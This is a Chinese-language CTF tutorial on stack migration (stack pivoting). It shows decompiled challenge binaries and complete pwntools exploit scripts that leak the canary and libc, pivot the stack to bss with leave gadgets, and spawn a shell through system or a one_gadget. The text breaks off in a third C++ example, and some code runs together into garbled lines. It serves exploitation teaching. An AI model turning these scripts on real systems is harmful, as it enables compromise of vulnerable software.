前置知识Intel汇编,栈溢出利用,基础rop链
Stack_migration介绍当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链
以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。
典例一 题目给出便于利用的bss段地址或栈地址这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址
int __cdecl main(int argc, const char **argv, const char **envp){char buf[208]; // [rsp+0h] [rbp-D0h] BYREFputs(&s);puts("系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");puts("钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");printf("小子拿好了 :%p", buf);puts(&byte_400818); read(0, buf, 0xE0uLL);return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n");}这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie
我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)第一次是泄露libc,第二次就是直接getshell
exp# -*- coding: UTF-8 –*-from pwn import *r=process('./1')elf=ELF('./1')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#context.log_level='debug'puts_got=elf.got['puts']puts_plt=elf.plt['puts']pop_rdi=0x0000000000400663leave=0x4005F8main=0x0400577ret=0x000000000040044er.recvuntil('小子拿好了 :')leak=int(r.recv(14),16)log.success('leak:'+hex(leak))payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)r.recvuntil("搬山之术?\n")r.send(payload)r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n')(r.recvuntil('\n'))leak1=u64(r.recv(6).ljust(8,'\x00'))log.success('leak1:'+hex(leak1))base=leak1-0x080aa0onegadget=[0x4f3d5,0x4f432,0x10a41c]sys=base+0x04f550one=onegadget[2]+basesh=0x1b3e1a+baser.recvuntil('小子拿好了 :')leak2=int(r.recv(14),16)log.success('leak2:'+hex(leak2))payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)#payload1='a'*8+p64(one)payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)r.send(payload1)r.interactive()
典例二 题目开启了canary并且没有给定合理的地址对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手
本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学
int __cdecl main(int argc, const char **argv, const char **envp){int i; // [rsp+Ch] [rbp-24h]char v6[24]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); init(argc, argv, envp);for ( i = 0; i <= 0 10 24; ++i ){if ( (unsigned int)read(0, &v6[i], 1ull) !="1" || v6[i]="=" ) { }}printf("your in put%s\n", v6);puts("give me another worlds!"); pwnme();return __readfsqword(0x28u) ^ v7;}在printf("your v6);这可以泄露canary,我们接着去看pwnme函数 unsigned __int64 pwnme(){char buf[24]; [rsp+0h] [rbp-20h] byrefunsigned v2; [rsp+18h] [rbp-8h] v2="__readfsqword(0x28u);" read(0, buf, 0x30ull);return v2;}同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址 一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试 这里最主要的一点是接下来要讲的关于read函数的部分汇编利用 .text:00000000004006fe lea rax, [rbp+buf].text:0000000000400702 mov edx, 30h ; '0' nbytes.text:0000000000400707 rsi, rax buf.text:000000000040070a edi, fd.text:000000000040070f eax, 0.text:0000000000400714 call _read 正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30 rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。 pl="a" *24+p64(canary)+p64(bss)+p64(reread第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006fe [rbp+buf] 当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。 此时我们就可以写入rop链达到libc泄露的目的 = pl.ljust(24,'\x00')得到libc之后直接恢复栈 命令的起始地址 pwndbg> stack 3000:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop01:0008│ rsi 0x6015d0 ◂— 0x0... ↓ 2 skipped04:0020│ 0x6015e8 ◂— 0x27ce95767da5b40005:0028│ rbp 0x6015f0 ◂— 0x006:0030│ 0x6015f8 —▸ 0x40083b (main+171) ◂— nop07:0038│ 0x601600 ◂— 0x008:0040│ 0x601608 —▸ 0x40083b (main+171) ◂— nop09:0048│ 0x601610 ◂— 0x27ce95767da5b4000a:0050│ 0x601618 —▸ 0x6015d8 ◂— 0x00b:0058│ 0x601620 —▸ 0x40072e (pwnme+71) ◂— leave0c:0060│ 0x601628 ◂— 0x0... ↓ 17 skipped我们可以继续结合汇编来看
.text:0000000000400831 mov eax, 0.text:0000000000400836 call pwnme.text:000000000040083B nop.text:000000000040083C mov rax, [rbp+var_8].text:0000000000400840 xor rax, fs:28h.text:0000000000400849 jz short locret_400850.text:000000000040084B call ___stack_chk_failrip执行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一个修补(第一次泄露的时候已经破坏了)
恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了
expimport timefrom pwn import *context.arch = 'amd64'context.log_level = 'debug'r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)close = lambda : p.close()debug = lambda : gdb.attach(p)shell = lambda : p.interactive()p = process('./Stack_migration')#p=remote('101.43.94.145','28079')elf = ELF('./Stack_migration')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")puts_got = elf.got['puts']puts_plt = elf.plt['puts']reread = 0x4006FEleave = 0x40072Ebss = 0x601600rdi = 0x00000000004008c3start = 0x400600s('a'*25)ru('a'*25)canary = u64('\x00'+rx(7))success(hex(canary))#p.recv()pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)p.recv()s(pl)pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)pl = pl.ljust(24,'\x00')sleep(0.1)s(pl)pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)sleep(0.1)s(pl)base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']ogg = base+0x4f3d5pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)s(pl)# debug()shell()
典例三 C++类的栈迁移虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西
这个也是我自己整理的一个demo,先看ida
int __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // raxchar s2[32]; // [rsp+0h] [rbp-20h] BYREF init();do{ v3 = std::operator<<